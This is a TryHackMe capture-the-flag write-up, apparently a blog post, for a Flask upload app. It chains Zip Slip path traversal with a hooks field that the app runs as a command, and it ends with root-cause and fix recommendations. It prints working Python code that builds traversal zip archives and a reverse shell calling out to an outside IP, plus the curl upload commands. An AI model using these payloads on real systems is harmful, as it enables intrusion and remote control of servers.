DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : The Hollow Shell

Overview

The Hollow Shell is a Flask app ("Shoreline Display - Room Service") that lets an
authenticated concierge upload themed "shells" as .zip archives. Each
archive must contain a shell.json manifest, and optionally an assets
list plus an undocumented hooks field described only as "automation
hooks" applied by a background "theme worker." The archive is extracted
server-side with no path sanitization, giving arbitrary file write via
Zip Slip. Combined with the hooks field being executed as a shell command
by the worker process, this chains into full RCE as the roomservice
user.

Recon

nmap -A -Pn 10.48.182.209

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-title: Byte Lotus \xE2\x80\x94 Room Service
|_Requested resource was /login
Enter fullscreen mode Exit fullscreen mode

Gunicorn on 5000 redirecting to /login - a Flask app behind a WSGI
server. SSH open but no creds yet, so 5000 is the way in.

Authentication

Default/guessed creds worked on /login:

curl -c cookies.txt http://10.48.182.209:5000/login -d 'username=concierge&password=StayNoticed2024!'
Enter fullscreen mode Exit fullscreen mode

Session cookie in hand, /dashboard rendered the upload panel:

Found something on the beach? Upload it as a shell (a .zip souvenir pack)
to set the ambiance on the in-room tablets. Each shell must contain a
shell.json manifest listing its assets (images, stylesheets).

A shell may include optional automation hooks - the theme worker applies
these for you shortly after the shell comes ashore, so you don't have to
touch each tablet by hand. Allowed asset types: png jpg gif svg css json.
Enter fullscreen mode Exit fullscreen mode

Two things stood out immediately: a required manifest filename
(shell.json) and an unexplained hooks mechanism processed by a
separate worker.

Mapping the upload flow

First upload attempt used a wrongly-named manifest (test.json) and
silently failed to register - the app requires the exact filename
shell.json at the zip root:

printf '{"name":"test", "assets":[]}' > shell.json
zip test.zip shell.json
curl -b cookies.txt -F "shell=@test.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/dashboard
Enter fullscreen mode Exit fullscreen mode
<li>
  <span class="name">test</span>
  <span class="id">shells/8d23a80c3894/</span>
</li>
Enter fullscreen mode Exit fullscreen mode

The id field is a directory path. Files inside it are served by exact
filename (no directory index):

curl -b cookies.txt http://10.48.182.209:5000/shells/8d23a80c3894/shell.json
{"name":"test", "assets":[]}
Enter fullscreen mode Exit fullscreen mode

Zip Slip - confirming arbitrary write

Extraction uses each zip member's raw path with no os.path.basename()
or normalization. A relative traversal entry alongside a valid
shell.json (so the archive still registers) proved this:

import zipfile
with zipfile.ZipFile('evil8.zip', 'w') as z:
    z.writestr('shell.json', '{"name":"slip7","assets":[]}')
    z.writestr('../../static/poc.txt', 'PWNED_STATIC')
Enter fullscreen mode Exit fullscreen mode
curl -b cookies.txt -F "shell=@evil8.zip" http://10.48.182.209:5000/upload
curl -b cookies.txt http://10.48.182.209:5000/static/poc.txt
PWNED_STATIC
Enter fullscreen mode Exit fullscreen mode

This confirmed:

  • shells/<id>/ sits two directory levels below the app root
  • No sanitization on extraction - a raw zipfile.extractall()-style write, or manual path join with no traversal check
  • ../../static/ lands in the real Flask static/ directory, which is directly web-servable - giving an easy read-back oracle for further tests

(Absolute paths and multi-level ....// traversal were also tried
before this and consistently 404'd - the ../../ relative form was
what worked here.)

From write primitive to command execution

The hooks field in shell.json accepted arbitrary keys without
rejecting the upload (e.g. {"hooks":{"pre":"id"}} uploaded and
persisted cleanly), but no observable side effect confirmed execution on
its own. Rather than keep guessing the schema blind, the write primitive
from Zip Slip was reused to drop a script into a hooks/ directory two
levels above the extraction folder, referenced from the manifest:

import zipfile, json

manifest = {
    "name": "reverse",
    "assets": [],
    "hooks": {"pre": "python3 hooks/callback.py"}
}

callback = '''import socket,os,pty
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.159.28",4444))
for fd in (0,1,2):
    os.dup2(sock.fileno(),fd)
pty.spawn("/bin/bash")
'''

with zipfile.ZipFile("reverse-shell.zip", "w") as z:
    z.writestr("shell.json", json.dumps(manifest))
    z.writestr("../../hooks/callback.py", callback)
Enter fullscreen mode Exit fullscreen mode
curl -b cookies.txt -F "shell=@reverse-shell.zip" http://10.48.182.209:5000/upload
Enter fullscreen mode Exit fullscreen mode

Listener caught a shell within seconds of upload, confirming the theme
worker executes the hooks.pre value as a shell command shortly after a
new shell lands:

[+] [New Reverse Shell] => tryhackme-2404 10.48.182.209 Linux-x86_64
    roomservice(996)  Session ID <1>
Enter fullscreen mode Exit fullscreen mode

Post-exploitation

roomservice@tryhackme-2404:/var/www/conch$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)

roomservice@tryhackme-2404:/var/www/conch$ ls
__pycache__  app.py  hooks  requirements.txt  shells  static  templates  theme_worker.py  venv
Enter fullscreen mode Exit fullscreen mode

The directory listing confirms the guessed architecture:
app.py (Flask handlers), a separate theme_worker.py (the background
process polling shells/ and executing hooks), and hooks/ as a real,
attacker-writable directory one level short of what was traversed to
(confirming the app root is exactly two levels above shells/<id>/).

roomservice@tryhackme-2404:/var/www/conch$ cat /home/roomservice/flag.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Root cause

  1. Zip Slip - zip extraction trusted member paths verbatim, allowing writes anywhere the process had permissions relative to shells/<id>/.
  2. Unsandboxed hook execution - theme_worker.py reads hooks.pre (or a referenced script) from user-supplied manifests and executes it as a shell command with no allowlist, sandboxing, or validation.

Either flaw alone would have been serious; together they turn an
"upload a themed zip" feature into unauthenticated-adjacent (single
low-privilege session) RCE.

Fix recommendations

  • Sanitize every zip member path on extraction: reject entries containing .., absolute paths, or resolve each target path and verify it stays within the intended extraction directory before writing.
  • Never execute user-controlled strings as shell commands. If hooks are a required feature, use a fixed, non-executable declarative format (e.g. a small allowlist of named theme operations) rather than passing arbitrary strings to a shell.
  • Run the extraction and worker processes with the minimum filesystem permissions needed - a chrooted or containerized extraction target would have contained this even with the traversal bug present.

Top comments (0)